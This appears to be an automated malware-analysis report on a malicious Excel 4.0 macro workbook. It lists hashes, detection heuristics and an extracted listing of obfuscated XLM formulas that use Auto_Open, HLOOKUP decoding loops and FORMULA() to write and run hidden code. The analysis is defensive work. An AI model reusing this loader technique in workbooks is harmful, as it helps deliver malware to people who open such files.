Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9c8652992577447…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:36:48 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 38f6e18008f1e028353e62926bb8851c SHA-1: 7e02cfeb42a9313aa301e50e01e63e2af6fb4f3a SHA-256: d9c86529925774474ff7467459fe56af3165d2429fa4d4d215efa39cbc032267
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6605 bytes
SHA-256: 6bd10dd591c3856bdc73edbed00dd9ccacc166c78fa49a33bd55fb0b3b21d7cb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QxxEesBp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F157 
' 0018     24 LABEL : Cell Value, String Constant - djPwNeTgs len=0 
' 0018     26 LABEL : Cell Value, String Constant - GnCYpmkhPmr len=0 
' 0018     23 LABEL : Cell Value, String Constant - GSxrLcid len=0 
' 0018     27 LABEL : Cell Value, String Constant - HCAgrVeEvuCz len=0 
' 0018     24 LABEL : Cell Value, String Constant - JbZfLTZBT len=0 
' 0018     25 LABEL : Cell Value, String Constant - ljslWImpEs len=0 
' 0018     20 LABEL : Cell Value, String Constant - LnXrw len=0 
' 0018     23 LABEL : Cell Value, String Constant - LtzDdtfN len=0 
' 0018     21 LABEL : Cell Value, String Constant - mMHzRO len=0 
' 0018     23 LABEL : Cell Value, String Constant - moJVvnEI len=0 
' 0018     25 LABEL : Cell Value, String Constant - rsvPLQbbLz len=0 
' 0018     21 LABEL : Cell Value, String Constant - TheNhH len=0 
' 0018     26 LABEL : Cell Value, String Constant - UBJljPgWgrv len=0 
' 0018     24 LABEL : Cell Value, String Constant - VgdNBsXOR len=0 
' 0018     27 LABEL : Cell Value, String Constant - wdAyLxNHDYjq len=0 
' 0018     23 LABEL : Cell Value, String Constant - XEzSHaeS len=0 
' 0018     24 LABEL : Cell Value, String Constant - YCWMYEwVI len=0 
' 0018     22 LABEL : Cell Value, String Constant - YpHZjog len=0 
' 0018     23 LABEL : Cell Value, String Constant - yYDyNhYE len=0 
' 0018     21 LABEL : Cell Value, String Constant - zoZOxb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QxxEesBp,F75,"SET.NAME("djPwNeTgs",VALUE("0"))",""
'  QxxEesBp,F78,"SET.NAME("moJVvnEI",djPwNeTgs)",""
'  QxxEesBp,F82,"SET.NAME("YpHZjog",djPwNeTgs)",""
'  QxxEesBp,F84,"SET.NAME("mMHzRO",COUNTA(ljslWImpEs))",""
'  QxxEesBp,F88,"SET.NAME("yYDyNhYE",COUNTA(VgdNBsXOR))",""
'  QxxEesBp,F90,[],""
'  QxxEesBp,F93,"SET.NAME("wdAyLxNHDYjq","")",""
'  QxxEesBp,F95,"moJVvnEI",""
'  QxxEesBp,F97,"SET.NAME("UBJljPgWgrv",HLOOKUP("*",ljslWImpEs,moJVvnEI,FALSE))",""
'  QxxEesBp,F99,"XEzSHaeS",""
'  QxxEesBp,F103,"SET.NAME("LnXrw",djPwNeTgs)",""
'  QxxEesBp,F108,[],""
'  QxxEesBp,F111,"LnXrw",""
'  QxxEesBp,F115,"YCWMYEwVI",""
'  QxxEesBp,F119,"HCAgrVeEvuCz",""
'  QxxEesBp,F124,"LtzDdtfN",""
'  QxxEesBp,F126,"SET.NAME("GnCYpmkhPmr",VALUE(HLOOKUP("*",VgdNBsXOR,LtzDdtfN,FALSE)))",""
'  QxxEesBp,F128,"GSxrLcid",""
'  QxxEesBp,F131,"wdAyLxNHDYjq",""
'  QxxEesBp,F134,"YpHZjog",""
'  QxxEesBp,F137,NEXT(),""
'  QxxEesBp,F142,"JbZfLTZBT",""
'  QxxEesBp,F144,"SET.NAME("f",INT(T(FORMULA(T(wdAyLxNHDYjq)&"",""&T(JbZfLTZBT)))))",""
'  QxxEesBp,F147,"zoZOxb",""
'  QxxEesBp,F151,NEXT(),""
'  QxxEesBp,F154,RETURN(),""
'  QxxEesBp,F183,"SET.NAME("TheNhH",F75)",""
'  QxxEesBp,F186,"ljslWImpEs",""
'  QxxEesBp,F191,"SET.NAME("VgdNBsXOR",R53C14)",""
'  QxxEesBp,F193,"SET.NAME("zoZOxb",200)",""
'  QxxEesBp,F197,"SET.NAME("rsvPLQbbLz",6)",""
'  QxxEesBp,F199,TheNhH(),""
'  QxxEesBp,F200,HALT(),""